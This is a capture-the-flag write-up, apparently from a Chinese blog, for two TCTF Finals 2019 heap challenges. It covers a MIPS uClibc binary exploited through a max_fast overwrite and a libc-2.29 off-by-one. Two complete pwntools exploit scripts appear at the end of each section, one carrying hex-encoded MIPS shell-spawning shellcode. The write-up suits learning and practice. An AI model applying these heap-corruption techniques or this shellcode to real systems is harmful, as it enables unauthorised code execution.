TCTF Finals 2019 Embedded_heap

1
2
MIPS PWN Debug with QEMU(System && User Mode)
OFF By NuLL in libc-2.29

0x01 Embedded_heap

Debug

Localhost:

1
2
3
gdb-multiarch  ./embedded_heap  -q
#set architecture mips:isa32r2
#target remote :1234

Exec Environment:

User Mode:

1
2
3
sudo chroot . ./qemu-mips  ./embedded_heap  #qemu-mips (static)
or
qemu-mips -L ./ ./embedded_heap

System Mode:

1
2
3
4
5
6
7
8
qemu-system-mips -M malta -cpu 24Kf -m 256 -nographic \
-kernel vmlinux-4.9.0-9-4kc-malta \
-initrd kirin.cpio.gz \
-device virtio-net,netdev=net0 \
-netdev user,id=net0,hostfwd=tcp::1234-:1234 \
-monitor null \
#固定cpio.gz文件系统,cpio解压时sudo,普通用户有时会解压不全
#而后更改文件系统,再chown入普通用户,重新构建cpio.gz即可

gdbserver:

1
2
https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver
#gdbserver :1234 ./embedded_heap

Another Way:

1
/usr/sbin/xinetd -stayalive

同时:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#cat etc/xinetd.d/embedded_heap 
service embedded_heap
{
disable = no
type = UNLISTED
flags = REUSE
wait = no
socket_type = stream
protocol = tcp
bind = 0.0.0.0
rlimit_cpu = 60
port = 9334
user = ctf
group = ctf
server = /embedded_heap
}

此时run.sh

1
2
3
4
5
6
qemu-system-mips -M malta -cpu 24Kf -m 256 -nographic \
-kernel vmlinux-4.9.0-9-4kc-malta \
-initrd kirin.cpio.gz \
-device virtio-net,netdev=net0 \
-netdev user,id=net0,hostfwd=tcp::1234-:1234,hostfwd=tcp::9334-:9334 \
-monitor null \

其中9334用于程序运行交互,1234用于gdbserver调试(PID,在连接后即会看到新的程序进程)

Successful:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x4c69a000 0x4c69b000 rwxp 1000 0
0x55555000 0x55557000 r-xp 2000 0 /embedded_heap
0x55566000 0x55567000 r-xp 1000 1000 /embedded_heap
0x55567000 0x55568000 rwxp 1000 2000 /embedded_heap
0x55568000 0x55569000 rwxp 1000 0 [heap]
0x77f80000 0x77fd2000 r-xp 52000 0 /lib/libuClibc-0.9.33.2.so
0x77fd2000 0x77fe1000 ---p f000 0
0x77fe1000 0x77fe2000 r-xp 1000 51000 /lib/libuClibc-0.9.33.2.so
0x77fe2000 0x77fe3000 rwxp 1000 52000 /lib/libuClibc-0.9.33.2.so
0x77fe3000 0x77fe8000 rwxp 5000 0
0x77fe8000 0x77fef000 r-xp 7000 0 /lib/ld-uClibc-0.9.33.2.so
0x77ffa000 0x77ffc000 rwxp 2000 0
0x77ffc000 0x77ffd000 r--p 1000 0 [vvar]
0x77ffd000 0x77ffe000 r-xp 1000 0 [vdso]
0x77ffe000 0x77fff000 r-xp 1000 6000 /lib/ld-uClibc-0.9.33.2.so
0x77fff000 0x78000000 rwxp 1000 7000 /lib/ld-uClibc-0.9.33.2.so
0x7fc31000 0x7ffff000 rw-p 3ce000 0 [stack]
0x7ffff000 0x80000000 r-xp 1000 0

Analyze

1
2
3
4
5
6
7
8
checksec ./embedded_heap 
[!] Could not populate PLT: Invalid memory write (UC_ERR_WRITE_UNMAPPED)
[*] '/home/kirin/tctf/mipspwn/embedded_heap'
Arch: mips-32-big
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

NX->has RWX??
比赛时候没有仔细看,在System Mode下调试即可发现,其一些段可读可写可执行(好像是MIPS没实现NX??,还有可能是因为他的动态库没有NX保护),从权限看只是对栈进行了控制
程序:
main:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
.text:000019F4  # int __cdecl main(int argc, const char **argv, const char **envp)
.text:000019F4 .globl main
.text:000019F4 main: # DATA XREF: LOAD:0000045C↑o
.text:000019F4 # _ftext+1C↑o ...
.text:000019F4
.text:000019F4 var_18 = -0x18
.text:000019F4 var_C = -0xC
.text:000019F4 var_8 = -8
.text:000019F4 var_4 = -4
.text:000019F4
.text:000019F4 li $gp, 0x1860C # Load Immediate
.text:000019FC addu $gp, $t9 # Add Unsigned
.text:00001A00 addiu $sp, -0x28 # Add Immediate Unsigned
.text:00001A04 sw $ra, 0x28+var_4($sp) # Store Word
.text:00001A08 sw $fp, 0x28+var_8($sp) # Store Word
.text:00001A0C move $fp, $sp
.text:00001A10 sw $gp, 0x28+var_18($sp) # Store Word
.text:00001A14 li $v0, 0 # Load Immediate
.text:00001A18 addiu $v0, setbuf # Add Immediate Unsigned
.text:00001A1C move $t9, $v0
.text:00001A20 jalr $t9 ; setbuf # Jump And Link Register
.text:00001A24 nop
.text:00001A28 lw $gp, 0x28+var_18($fp) # Load Word
.text:00001A2C sw $v0, 0x28+var_C($fp) # Store Word
.text:00001A30
.text:00001A30 loc_1A30: # CODE XREF: main:loc_1BA4↓j
.text:00001A30 li $v0, 0 # Load Immediate
.text:00001A34 addiu $v0, menu # Add Immediate Unsigned
.text:00001A38 move $t9, $v0
.text:00001A3C jalr $t9 ; menu # Jump And Link Register
.text:00001A40 nop
.text:00001A44 lw $gp, 0x28+var_18($fp) # Load Word
.text:00001A48 li $v0, 0 # Load Immediate
.text:00001A4C addiu $v0, get_num # Add Immediate Unsigned
.text:00001A50 move $t9, $v0
.text:00001A54 jalr $t9 ; get_num # Jump And Link Register
.text:00001A58 nop
.text:00001A5C lw $gp, 0x28+var_18($fp) # Load Word
.text:00001A60 li $v1, 2 # Load Immediate
.text:00001A64 beq $v0, $v1, loc_1AD0 # Branch on Equal
.text:00001A68 nop
.text:00001A6C slti $v1, $v0, 3 # Set on Less Than Immediate
.text:00001A70 beqz $v1, loc_1A8C # Branch on Zero
.text:00001A74 nop
.text:00001A78 li $v1, 1 # Load Immediate
.text:00001A7C beq $v0, $v1, loc_1AAC # Branch on Equal
.text:00001A80 nop
.text:00001A84 b loc_1B98 # Branch Always
.text:00001A88 nop
.text:00001A8C # ---------------------------------------------------------------------------
.text:00001A8C
.text:00001A8C loc_1A8C: # CODE XREF: main+7C↑j
.text:00001A8C li $v1, 3 # Load Immediate
.text:00001A90 beq $v0, $v1, loc_1AF4 # Branch on Equal
.text:00001A94 nop
.text:00001A98 li $v1, 5 # Load Immediate
.text:00001A9C beq $v0, $v1, loc_1B8C # Branch on Equal
.text:00001AA0 nop
.text:00001AA4 b loc_1B98 # Branch Always
.text:00001AA8 nop
.text:00001AAC # ---------------------------------------------------------------------------
.text:00001AAC
.text:00001AAC loc_1AAC: # CODE XREF: main+88↑j
.text:00001AAC lw $a0, 0x28+var_C($fp) # Load Word
.text:00001AB0 li $v0, 0 # Load Immediate
.text:00001AB4 addiu $v0, update # Add Immediate Unsigned
.text:00001AB8 move $t9, $v0
.text:00001ABC jalr $t9 ; update # Jump And Link Register
.text:00001AC0 nop
.text:00001AC4 lw $gp, 0x28+var_18($fp) # Load Word
.text:00001AC8 b loc_1BA4 # Branch Always
.text:00001ACC nop
.text:00001AD0 # ---------------------------------------------------------------------------
.text:00001AD0
.text:00001AD0 loc_1AD0: # CODE XREF: main+70↑j
.text:00001AD0 lw $a0, 0x28+var_C($fp) # Load Word
.text:00001AD4 li $v0, 0 # Load Immediate
.text:00001AD8 addiu $v0, view # Add Immediate Unsigned
.text:00001ADC move $t9, $v0
.text:00001AE0 jalr $t9 ; view # Jump And Link Register
.text:00001AE4 nop
.text:00001AE8 lw $gp, 0x28+var_18($fp) # Load Word
.text:00001AEC b loc_1BA4 # Branch Always
.text:00001AF0 nop
.text:00001AF4 # ---------------------------------------------------------------------------
.text:00001AF4
.text:00001AF4 loc_1AF4: # CODE XREF: main+9C↑j
.text:00001AF4 lw $a0, 0x28+var_C($fp) # Load Word
.text:00001AF8 li $v0, 0 # Load Immediate
.text:00001AFC addiu $v0, pwn # Add Immediate Unsigned
.text:00001B00 move $t9, $v0
.text:00001B04 jalr $t9 ; pwn # Jump And Link Register
.text:00001B08 nop
.text:00001B0C lw $gp, 0x28+var_18($fp) # Load Word
.text:00001B10 li $v0, 0 # Load Immediate
.text:00001B14 addiu $a0, $v0, aOneMoreTimeTry # "One more time! Try it harder!"
.text:00001B18 la $v0, puts # Load Address
.text:00001B1C move $t9, $v0
.text:00001B20 jalr $t9 ; puts # Jump And Link Register
.text:00001B24 nop
.text:00001B28 lw $gp, 0x28+var_18($fp) # Load Word
.text:00001B2C lw $a0, 0x28+var_C($fp) # Load Word
.text:00001B30 li $v0, 0 # Load Immediate
.text:00001B34 addiu $v0, pwn # Add Immediate Unsigned
.text:00001B38 move $t9, $v0
.text:00001B3C jalr $t9 ; pwn # Jump And Link Register
.text:00001B40 nop
.text:00001B44 lw $gp, 0x28+var_18($fp) # Load Word
.text:00001B48 li $v0, 0 # Load Immediate
.text:00001B4C addiu $a0, $v0, aEverythingIsSt # "Everything is still fine. Is that all y"...
.text:00001B50 la $v0, puts # Load Address
.text:00001B54 move $t9, $v0
.text:00001B58 jalr $t9 ; puts # Jump And Link Register
.text:00001B5C nop
.text:00001B60 lw $gp, 0x28+var_18($fp) # Load Word
.text:00001B64 lw $a0, 0x28+var_C($fp) # Load Word
.text:00001B68 li $v0, 0 # Load Immediate
.text:00001B6C addiu $v0, update # Add Immediate Unsigned
.text:00001B70 move $t9, $v0
.text:00001B74 jalr $t9 ; update # Jump And Link Register
.text:00001B78 nop
.text:00001B7C lw $gp, 0x28+var_18($fp) # Load Word
.text:00001B80 move $v0, $zero
.text:00001B84 b loc_1BAC # Branch Always
.text:00001B88 nop
.text:00001B8C # ---------------------------------------------------------------------------
.text:00001B8C
.text:00001B8C loc_1B8C: # CODE XREF: main+A8↑j
.text:00001B8C move $v0, $zero
.text:00001B90 b loc_1BAC # Branch Always
.text:00001B94 nop
.text:00001B98 # ---------------------------------------------------------------------------
.text:00001B98
.text:00001B98 loc_1B98: # CODE XREF: main+90↑j
.text:00001B98 # main+B0↑j
.text:00001B98 li $v0, 1 # Load Immediate
.text:00001B9C b loc_1BAC # Branch Always
.text:00001BA0 nop
.text:00001BA4 # ---------------------------------------------------------------------------
.text:00001BA4
.text:00001BA4 loc_1BA4: # CODE XREF: main+D4↑j
.text:00001BA4 # main+F8↑j
.text:00001BA4 b loc_1A30 # Branch Always
.text:00001BA8 nop
.text:00001BAC # ---------------------------------------------------------------------------
.text:00001BAC
.text:00001BAC loc_1BAC: # CODE XREF: main+190↑j
.text:00001BAC # main+19C↑j ...
.text:00001BAC move $sp, $fp
.text:00001BB0 lw $ra, 0x28+var_4($sp) # Load Word
.text:00001BB4 lw $fp, 0x28+var_8($sp) # Load Word
.text:00001BB8 addiu $sp, 0x28 # Add Immediate Unsigned
.text:00001BBC jr $ra # Jump Register
.text:00001BC0 nop
.text:00001BC0 # End of function main

首先setbuf中map一段随机地址保存后面的chunk信息
而后利用随机数随机分配一些随机大小的chunk
可以进行update,free,view和exit操作
free操作只有两次,且可以看到没有UAF:

1
2
3
4
5
6
7
8
9
10
11
12
13
.text:00001838                 move    $a0, $v0         # ptr
.text:0000183C la $v0, free # Load Address
.text:00001840 move $t9, $v0
.text:00001844 jalr $t9 ; free # Jump And Link Register
.text:00001848 nop
.text:0000184C lw $gp, 0x28+var_18($fp) # Load Word
.text:00001850 lw $v0, 0x28+var_C($fp) # Load Word
.text:00001854 sll $v0, 2 # Shift Left Logical
.text:00001858 sll $v1, $v0, 2 # Shift Left Logical
.text:0000185C subu $v0, $v1, $v0 # Subtract Unsigned
.text:00001860 lw $v1, 0x28+arg_0($fp) # Load Word
.text:00001864 addu $v0, $v1, $v0 # Add Unsigned
.text:00001868 sw $zero, 8($v0)

不过在update过程中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
.text:0000157C update:                                  # CODE XREF: main+C8↓p
.text:0000157C # main+180↓p
.text:0000157C # DATA XREF: ...
.text:0000157C
.text:0000157C var_18 = -0x18
.text:0000157C var_10 = -0x10
.text:0000157C var_C = -0xC
.text:0000157C var_8 = -8
.text:0000157C var_4 = -4
.text:0000157C arg_0 = 0
.text:0000157C
.text:0000157C li $gp, 0x18A84 # Load Immediate
.text:00001584 addu $gp, $t9 # Add Unsigned
.text:00001588 addiu $sp, -0x28 # Add Immediate Unsigned
.text:0000158C sw $ra, 0x28+var_4($sp) # Store Word
.text:00001590 sw $fp, 0x28+var_8($sp) # Store Word
.text:00001594 move $fp, $sp
.text:00001598 sw $gp, 0x28+var_18($sp) # Store Word
.text:0000159C sw $a0, 0x28+arg_0($fp) # Store Word
.text:000015A0 li $v0, 0 # Load Immediate
.text:000015A4 addiu $a0, $v0, aIndex # "Index: "
.text:000015A8 la $v0, printf # Load Address
.text:000015AC move $t9, $v0
.text:000015B0 jalr $t9 ; printf # Jump And Link Register
.text:000015B4 nop
.text:000015B8 lw $gp, 0x28+var_18($fp) # Load Word
.text:000015BC li $v0, 0 # Load Immediate
.text:000015C0 addiu $v0, get_num # Add Immediate Unsigned
.text:000015C4 move $t9, $v0
.text:000015C8 jalr $t9 ; get_num # Jump And Link Register
.text:000015CC nop
.text:000015D0 lw $gp, 0x28+var_18($fp) # Load Word
.text:000015D4 sw $v0, 0x28+var_10($fp) # Store Word
.text:000015D8 lw $v0, 0x28+var_10($fp) # Load Word
.text:000015DC bltz $v0, loc_161C # Branch on Less Than Zero
.text:000015E0 nop
.text:000015E4 lw $v0, 0x28+var_10($fp) # Load Word
.text:000015E8 slti $v0, 0x10 # Set on Less Than Immediate
.text:000015EC beqz $v0, loc_161C # Branch on Zero
.text:000015F0 nop
.text:000015F4 lw $v0, 0x28+var_10($fp) # Load Word
.text:000015F8 sll $v0, 2 # Shift Left Logical
.text:000015FC sll $v1, $v0, 2 # Shift Left Logical
.text:00001600 subu $v0, $v1, $v0 # Subtract Unsigned
.text:00001604 lw $v1, 0x28+arg_0($fp) # Load Word
.text:00001608 addu $v0, $v1, $v0 # Add Unsigned
.text:0000160C lw $v1, 0($v0) # Load Word
.text:00001610 li $v0, 1 # Load Immediate
.text:00001614 beq $v1, $v0, loc_1640 # Branch on Equal
.text:00001618 nop
.text:0000161C
.text:0000161C loc_161C: # CODE XREF: update+60↑j
.text:0000161C # update+70↑j
.text:0000161C li $v0, 0 # Load Immediate
.text:00001620 addiu $a0, $v0, aInvalidIndex # "Invalid Index"
.text:00001624 la $v0, puts # Load Address
.text:00001628 move $t9, $v0
.text:0000162C jalr $t9 ; puts # Jump And Link Register
.text:00001630 nop
.text:00001634 lw $gp, 0x28+var_18($fp) # Load Word
.text:00001638 b loc_1708 # Branch Always
.text:0000163C nop
.text:00001640 # ---------------------------------------------------------------------------
.text:00001640
.text:00001640 loc_1640: # CODE XREF: update+98↑j
.text:00001640 li $v0, 0 # Load Immediate
.text:00001644 addiu $a0, $v0, aSize # "Size: "
.text:00001648 la $v0, printf # Load Address
.text:0000164C move $t9, $v0
.text:00001650 jalr $t9 ; printf # Jump And Link Register
.text:00001654 nop
.text:00001658 lw $gp, 0x28+var_18($fp) # Load Word
.text:0000165C li $v0, 0 # Load Immediate
.text:00001660 addiu $v0, get_num # Add Immediate Unsigned
.text:00001664 move $t9, $v0
.text:00001668 jalr $t9 ; get_num # Jump And Link Register
.text:0000166C nop
.text:00001670 lw $gp, 0x28+var_18($fp) # Load Word
.text:00001674 sw $v0, 0x28+var_C($fp) # Store Word
.text:00001678 lw $v0, 0x28+var_C($fp) # Load Word
.text:0000167C bgtz $v0, loc_168C # Branch on Greater Than Zero
.text:00001680 nop
.text:00001684 b loc_1708 # Branch Always
.text:00001688 nop
.text:0000168C # ---------------------------------------------------------------------------
.text:0000168C
.text:0000168C loc_168C: # CODE XREF: update+100↑j
.text:0000168C li $v0, 0 # Load Immediate
.text:00001690 addiu $a0, $v0, aContent # "Content: "
.text:00001694 la $v0, printf # Load Address
.text:00001698 move $t9, $v0
.text:0000169C jalr $t9 ; printf # Jump And Link Register
.text:000016A0 nop
.text:000016A4 lw $gp, 0x28+var_18($fp) # Load Word
.text:000016A8 lw $v0, 0x28+var_10($fp) # Load Word
.text:000016AC sll $v0, 2 # Shift Left Logical
.text:000016B0 sll $v1, $v0, 2 # Shift Left Logical
.text:000016B4 subu $v0, $v1, $v0 # Subtract Unsigned
.text:000016B8 lw $v1, 0x28+arg_0($fp) # Load Word
.text:000016BC addu $v0, $v1, $v0 # Add Unsigned
.text:000016C0 lw $v1, 8($v0) # Load Word
.text:000016C4 lw $v0, 0x28+var_C($fp) # Load Word
.text:000016C8 move $a0, $v1
.text:000016CC move $a1, $v0
.text:000016D0 li $v0, 0 # Load Immediate
.text:000016D4 addiu $v0, sub_AD0 # Add Immediate Unsigned
.text:000016D8 move $t9, $v0
.text:000016DC jalr $t9 ; sub_AD0 # Jump And Link Register
.text:000016E0 nop
.text:000016E4 lw $gp, 0x28+var_18($fp) # Load Word
.text:000016E8 li $v0, 0 # Load Immediate
.text:000016EC addiu $a0, $v0, aChunkDUpdated # "Chunk %d Updated\n"
.text:000016F0 lw $a1, 0x28+var_10($fp) # Load Word
.text:000016F4 la $v0, printf # Load Address
.text:000016F8 move $t9, $v0
.text:000016FC jalr $t9 ; printf # Jump And Link Register
.text:00001700 nop
.text:00001704 lw $gp, 0x28+var_18($fp) # Load Word
.text:00001708
.text:00001708 loc_1708: # CODE XREF: update+BC↑j
.text:00001708 # update+108↑j
.text:00001708 move $sp, $fp
.text:0000170C lw $ra, 0x28+var_4($sp) # Load Word
.text:00001710 lw $fp, 0x28+var_8($sp) # Load Word
.text:00001714 addiu $sp, 0x28 # Add Immediate Unsigned
.text:00001718 jr $ra # Jump Register
.text:0000171C nop
.text:0000171C # End of function update

可以看到最终read的size可控,所以可以溢出控制整个堆

Exploit

mips下主要使用的是针对嵌入式环境的uclibc:

1
https://www.uclibc.org/downloads/

其针对堆的实现有:

1
2
3
malloc
malloc-standard
malloc-simple

其中malloc是最开始uclibc内部实现的堆实现方式,后期使用的是malloc-standard,即从glibc中迁移过来的堆管理方式,几种方式源码实现方式都比较简单,不用细说
uClibc-0.9.33.2下使用的是malloc-standard
free过程中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
    if ((unsigned long)(size) <= (unsigned long)(av->max_fast)

#if TRIM_FASTBINS//此处定义后,topchunk前的fastbin大小的chunk不会free进入fastbin
/* If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins */
&& (chunk_at_offset(p, size) != av->top)
#endif
) {

set_fastchunks(av);//设置max_fast中对应标志位
fb = &(av->fastbins[fastbin_index(size)]);//av中对应bin的位置
p->fd = *fb;
*fb = p;
}
#define fastbin_index(sz) ((((unsigned int)(sz)) >> 3) - 2)

所以这里可以首先修改size来覆写max_fast
此时将一个ptr写入max_fast,这样再次free一个大堆时就可以将一个堆块指针写入一个高地址处的func_ptr来劫持控制流,因为可以看到NX下heap具有可执行权限,将其填充好shellcode即可
在exit过程中跟踪程序流可以看到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
   0x77fe8f18 <_ftext+104>    ori    $v0, $v0, 8
► 0x77fe8f1c <_ftext+108> lw $t9, -0x7fac($gp) <0x77fe8eb0>
0x77fe8f20 <_ftext+112> move $a0, $s0
0x77fe8f24 <_ftext+116> jalr $t9

0x77fe8f28 <_ftext+120> sh $v0, 0x4a($s0)
0x77fe8f2c <_ftext+124> lw $v0, 0x9c($s0)
0x77fe8f30 <_ftext+128> beqz $v0, _ftext+156 <0x77fe8f4c>

0x77fe8f34 <_ftext+132> lw $gp, 0x10($fp)
0x77fe8f38 <_ftext+136> lw $t9, ($s0)
0x77fe8f3c <_ftext+140> addu $t9, $v0, $t9
0x77fe8f40 <_ftext+144> jalr $t9
pwndbg> print $gp
$4 = 2013294608
#0x78007010

此处函数地址位于/lib/ld-uClibc-0.9.33.2.so,位于state高地址,可以覆盖此处为一个chunk地址,而后在presize置跳转到真正shellcode(因为覆盖的地址指向chunk头,不是data域),或者直接利用最后的update将对应位置写入shellcode
整个利用过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
struct malloc_state {

/* The maximum chunk size to be eligible for fastbin */
size_t max_fast; /* low 2 bits used as flags */

/* Fastbins */
mfastbinptr fastbins[NFASTBINS];

/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;

/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;

/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2];

/* Bitmap of bins. Trailing zero map handles cases of largest binned size */
unsigned int binmap[BINMAPSIZE+1];

/* Tunable parameters */
unsigned long trim_threshold;
size_t top_pad;
size_t mmap_threshold;

/* Memory map support */
int n_mmaps;
int n_mmaps_max;
int max_n_mmaps;

/* Cache malloc_getpagesize */
unsigned int pagesize;

/* Track properties of MORECORE */
unsigned int morecore_properties;

/* Statistics */
size_t mmapped_mem;
size_t sbrked_mem;
size_t max_sbrked_mem;
size_t max_mmapped_mem;
size_t max_total_mem;
};

先置一个chunk的size为8,此时free掉即可覆盖max_fast
再根据需要覆盖的函数指针地址和state的偏移设置另一个chunk(布置shellcode),free后,即可将此处函数指针置为&shellcode,最终调用即可get shell

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
import time
def req2size(size):
return (0x10 if size+4+7<0x10 else (size+4+7)&(~7))
def update(index,size,data,first=False):
if not first:
p.sendlineafter(": ","1")
p.sendlineafter(": ",str(index))
p.sendlineafter(": ",str(size))
p.sendafter(": ",data)

p=remote("127.0.0.1",9332)
context.log_level="debug"
context.arch="mips"
p.recvuntil("===== Embedded Heap =====\n")
size_map=[]
while True:
if "Chunk" not in p.recvuntil(":"):
break
size=p.recvuntil(" bytes")[1:-6]
size_map.append(req2size(int(size)))
print map(hex,size_map)
state_off = 0x66D7C
fini_off = 0x7f064
fake_size =((((fini_off-state_off)&0xffffffff)/4 + 1)*8)&0xffffffff
print hex(fake_size)
shellcode = "3c092f2f35296269afa9fff43c096e2f35297368afa9fff8afa0fffc27bdfff403a02020afa0fffc27bdfffc2806ffffafa6fffc23bdfffc03a030203c198c973739ffff03204827afa9fffc27bdfffc2805ffffafa5fffc23bdfffc2419fffb0320282700bd2820afa5fffc23bdfffc03a0282034020fab0101010c".decode("hex")
#shellcode=asm(shellcraft.mips.linux.sh(),endian="big")//something wrong
data_size={ size_map[0]-8 : p32(0) + p32(8,endian = 'big'),
size_map[1]+size_map[0]-8 : p32(0)+p32(fake_size,endian = 'big') }
data = fit(data_size,filler="\x00")
p.sendline("1")
update(0,len(data),data,True)
p.sendlineafter(": ","3")
p.sendlineafter(": ","1")
p.sendlineafter(": ","2")
code = {size_map[1]+size_map[0]-8 : shellcode}
fake_code = fit(code,filler="\x00")
p.sendlineafter(": ","0")
p.sendlineafter(": ",str(len(fake_code)))
#time.sleep(20)//For gdbserver to debug
p.sendafter(": ",fake_code)
p.interactive()

0x02 babyheap

比较简单的off-by-one
选择利用unlink构造堆重叠而后进一步利用
注意libc-2.29下unsorted合并有前后size对照检查以及使用ld文件进行本地调试即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *


def new(size):
p.sendlineafter("Command: ","1")
p.sendlineafter("Size: ",str(size))
def edit(index,size,note):
p.sendlineafter("Command: ","2")
p.sendlineafter("Index: ",str(index))
p.sendlineafter("Size: ",str(size))
p.sendafter("Content: ",note)
def delete(index):
p.sendlineafter("Command: ","3")
p.sendlineafter("Index: ",str(index))
def show(index):
p.sendlineafter("Command: ","4")
p.sendlineafter("Index: ",str(index))
p.recvuntil("]: ")
return p.recvuntil("\n").strip()
#p=process(["./lib/ld-2.29.so","--library-path","./lib","./babyheap2.29"])
p=remote("192.168.201.21",1904)
#leak
context.log_level="debug"
new(0x18)
new(0x4f8)
new(0x18)
delete(1)
new(0x4f8)
libc_addr=u64(show(1)+"\x00\x00")+0x7ffff7ddb000-0x7ffff7fbfca0
print hex(libc_addr)
delete(0)
delete(2)
new(0x18)
new(0x18)
heap_addr=u64(show(0)+"\x00\x00")
print hex(heap_addr)
new(0x4f8)#3
new(0x4f8)#4
new(0x18)
edit(3,0x4f8,p64(heap_addr-0x10)+p64(heap_addr+0x510)+p64(0)*156+p64(0x500))
edit(0,0x8,p64(heap_addr+0x530))
edit(2,0x10,p64(0)+p64(heap_addr+0x530))
delete(4)
new(0x18)#4
delete(3)
edit(4,0x8,p64(libc_addr+0x1e75a8))
new(0x18)#3
new(0x18)#4
edit(6,0x8,p64(libc_addr+0x52fd0))
edit(3,0x8,"/bin/sh\x00")
#gdb.attach(p)
p.interactive()